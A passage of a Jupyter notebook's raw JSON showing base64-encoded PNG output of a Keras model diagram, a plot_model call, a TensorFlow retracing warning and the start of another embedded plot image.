"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\n", - "text/plain": [ - "" - ] - }, - "execution_count": 48, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "plot_model(model=model, show_shapes=True)" - ] - }, - { - "cell_type": "code", - "execution_count": 49, - "id": "2988b192", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "WARNING:tensorflow:5 out of the last 5 calls to .predict_function at 0x00000293CBFBE700> triggered tf.function retracing. Tracing is expensive and the excessive number of tracings could be due to (1) creating @tf.function repeatedly in a loop, (2) passing tensors with different shapes, (3) passing Python objects instead of tensors. For (1), please define your @tf.function outside of the loop. For (2), @tf.function has experimental_relax_shapes=True option that relaxes argument shapes that can avoid unnecessary retracing. For (3), please refer to https://www.tensorflow.org/guide/function#controlling_retracing and https://www.tensorflow.org/api_docs/python/tf/function for more details.\n" - ] - }, - { - "data": { - "text/plain": [ - "[]" - ] - }, - "execution_count": 49, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "iVBORw0KGgoAAAANSUhEUgAAAsYAAAHSCAYAAADvxw2lAAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjMuNCwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy8QVMy6AAAACXBIWXMAAAsTAAALEwEAmpwYAABG9UlEQVR4nO3deXyV9Z33//c3+54QsgAJIRuEfRdFCgSr1rpUqsWl1Wpr1Yr33encs9TO8pve0+lMp/fcnenMTcC1OnWrrbXaZaatbcIiIIK7ApKThBASSEL2Peec7++Pc+wJECCBhOvknNfz8eBxkivf4JurIXn34ntdH2OtFQAAABDuIpwOAAAAAAQDijEAAAAgijEAAAAgiWIMAAAASKIYAwAAAJIoxgAAAIAkKcrpAJKUkZFh8/PznY4BAACAELdv375ma23mcB8LimKcn5+vvXv3Oh0DAAAAIc4Yc/hMH2MrBQAAACCKMQAAACCJYgwAAABIohgDAAAAkijGAAAAgCSKMQAAACCJYgwAAABIohgDAAAAkijGAAAAgCSKMQAAACBphMXYGFNjjHnPGPO2MWav/1i6MeZ3xphD/tdJQ9Z/0xhTaYw5aIz51HiFBwAAAMbKaK4Yr7PWLrbWLve//5Ck31trZ0r6vf99GWPmSrpN0jxJ10gqM8ZEjmFmAAAAYMxdyFaKGyU95X/7KUnrhxx/3lrbb62tllQpacUF/HcAAACAcTfSYmwl/dYYs88Yc5//WLa1tkGS/K9Z/uM5ko4M+dw6/zEAAAAgaEWNcN0qa229MSZL0u+MMQfOstYMc8yetshXsO+TpLy8vBHGAAAAAMbHiK4YW2vr/a+Nkl6Sb2vEcWPMVEnyvzb6l9dJmj7k03Ml1Q/zez5irV1urV2emZl5/n8CAAAAYAycsxgbYxKNMckfvy3paknvS3pF0l3+ZXdJetn/9iuSbjPGxBpjCiTNlLRnrIMDAABgYjrS0uN0hGGNZCtFtqSXjDEfr3/WWvvfxpg3JL1gjLlHUq2kDZJkrf3AGPOCpA8luSU9aK31jEt6AAAATBjv1rWprNyl33x4TD+5f6WW56c7Hekk5yzG1toqSYuGOX5C0ifP8DnfkfSdC04HAACACc1aq91VLSqrqNT2Q81KiYvS/1hXrMLMJKejnWakN98BAAAAI+b1Wv3hQKM2VVTqrdo2ZSTF6qFPz9YXLs1Tcly00/GGRTEGAADAmHF7vPrVew3aXOHSgWOdyp0Ur2+vn68Ny3IVFx3cM98oxgAAALhg/W6PXtx3VFu2ulTb0qOZWUn6/i2LdMOiaYqOvJCZchcPxRgAAADnrbvfrWdfr9Wj26vU2NmvRbmp+uvrlumqOdmKiBhuvEXwohgDAABg1Fq7B/Tkzho9ubNG7b2Durxosv711sW6vGiy/E8zm3AoxgAAABixY+19emx7lZ7dU6ueAY+umputjaVFWpI3yeloF4xiDAAAgHOqae7Ww9tcenHfUXms1WcWTdNX1xapZEqy09HGDMUYAAAAZ7S/oUObK1z65bv1ioqM0C2X5Oq+1UXKm5zgdLQxRzEGAADAafYdblVZeaV+f6BRiTGRundNoe5ZVaCslDino40bijEAAAAk+abUbT/UrE3llXq9ukWTEqL1v66apbtW5is1ITiHcowlijEAAECY83qtfvPBMZVVuPTe0XZNSYnT31w3R5+/NE8JMeFTF8PnTwoAAICTDHq8+vlbvqEcrqZu5U9O0D/fvEDrl+QoNiq4p9SNB4oxAABAmOkd8OiFvUf0yLYqHW3r1ZypKfqP25fo2gVTFTnBhnKMJYoxAABAmOjoG9SPdh3WEzuqdaJ7QMtnTNI/rJ+v0pLMCTuUYyxRjAEAAEJcc1e/nthRrR/tOqzOfrfWzMrU/1hXrBUF6U5HCyoUYwAAgBB1tK1Xj2x16fk3jmjA49W186fqgdIizc9JdTpaUKIYAwAAhJjKxi5t2erSz986Kkn67JIcfbW0SEWZSQ4nC24UYwAAgBDxXl27yioq9d8fHFNsVITuuGyG7l1TqJy0eKejTQgUYwAAgAnMWqvXq1u0qbxS2w81KzkuShtLi/SlVQXKSIp1Ot6EQjEGAACYgKy1+sOBRpVVuLTvcKsykmL0jWtm6wuX5SklLvSn1I0HijEAAMAE4vZ49av3GrS5wqUDxzqVkxavv79xnm5ZPl1x0eE3lGMsUYwBAAAmgH63Rz970zel7vCJHhVnJen/blikzyyepujICKfjhQSKMQAAQBDr7nfruT21enR7lY539Gthbqq23LFMV8/NVkQYT6kbDxRjAACAINTWM6And9boyZ01ausZ1MrCyfq/GxZrVfFkptSNE4oxAABAEGns6NNjO6r1zO7D6h7w6Mo52dq4rkhL8yY5HS3kUYwBAACCQO2JHm3Z5tJP99bJ7fXqM4um6YHSYpVMSXY6WtigGAMAADjowLEOba5w6Rfv1CsqIkKfW56r+9cUasbkRKejhR2KMQAAgAPerG1VWblLr+4/roSYSH1ldaHu+USBslPinI4WtijGAAAAF4m1Vjsqm1VW7tKuqhNKS4jW16+cqbsvz1daQozT8cIexRgAAGCceb1Wv/3wuMoqKvVuXbuyU2L1N9fN0e0r8pQYSx0LFvwvAQAAME4GPV698na9Nm91qbKxSzMmJ+ifblqgm5bmKDaKKXXBhmIMAAAwxvoGPXph7xE9vLVKR9t6NXtKsv799iW6dv4URTGlLmhRjAEAAMZIZ9+gnt5dq8d3VKm5a0BL89L09zfO0xWzsxjKMQFQjAEAAC7Qia5+/fC1Gj21q0adfW6tmZWpjaVFurQgnUI8gVCMAQAAzlN9W68e2Val59+oVb/bq2vmTdHG0mItyE11OhrOA8UYAABglFxNXdpS4dJLbx2VJK1fkqOvri1ScVaSw8lwISjGAAAAI/T+0XaVVVTqv94/ppjICN1x2Qx9ZXWBciclOB0NY4BiDAAAcBbWWu2pbtGmCpe2fdSk5NgoPbC2SF/+RIEykmKdjocxRDEGAAAYhrVW5QcbVVbu0t7DrZqcGKO/+FSJ7lw5Qylx0U7HwzigGAMAAAzh8Vr96r0Gba5waX9Dh3LS4vWtG+bq1kvyFB/DUI5QRjEGAACQ1O/26KU3j2rLVpdqTvSoKDNR/7JhkW5cPE3RDOUICxRjAAAQ1noG3Hr29Vo9tr1axzr6tCAnVVvuWKqr505RRATPIA4nFGMAABCW2noG9NTOw3pyZ7VaewZ1WWG6vve5hVo9M4OhHGGKYgwAAMJKY0efHt9Rrad3H1b3gEdXzsnSA6XFWjZjktPR4DCKMQAACAu1J3r08DaXfrKvTm6PVzcsmqYHSos0e0qK09EQJCjGAAAgpB081qnNFZX6xbsNijRGNy/L1VfXFmrG5ESnoyHIUIwBAEBIequ2VZvKXXp1/3ElxETqy6vy9ZXVhcpOiXM6GoIUxRgAAIQMa612uk5oU3mldrpOKDU+Wl+/cqbuWpmvSYkxTsdDkKMYAwCACc/rtfrd/uMqK6/UO3XtykqO1V9fO0e3X5qnpFjqDkaGrxQAADBhuT1e/eLdepWVu3SosUt56Qn6x88u0M3LchQbxZQ6jA7FGAAATDh9gx79ZF+dHt7qUl1rr0qyk/WD2xbrugVTFcWUOpwnijEAAJgwOvsG9Yx/Sl1zV7+W5KXpWzfM0xWzs5hShwtGMQYAAEGvpXtAP3ytWk/trFFHn1urZ2ZoY+kSXVaYzpQ6jBmKMQAACFr1bb16dHuVnttTq75Br66ZN0Ub1xVpYW6a09EQgijGAAAg6FQ1dWnLVpdeeuuovFZavzhHD5QWqjgr2eloCGEUYwAAEDTeP9quzRUu/fr9BsVERujzK/J075pC5U5KcDoawgDFGAAAOG5PdYvKKipVcbBJybFR+uraIn15VYEyk2OdjoYwQjEGAACOsNaq4qMmlZVX6o2aVqUnxugvPlWiOy6bodT4aKfjIQxRjAEAwEXl8Vr91/sNKit36cOGDk1LjdO3bpirWy/JU3wMQzngHIoxAAC4KAbcXr30Vp22bK1SdXO3CjMT9X8+t1A3Ls5RTBRDOeA8ijEAAB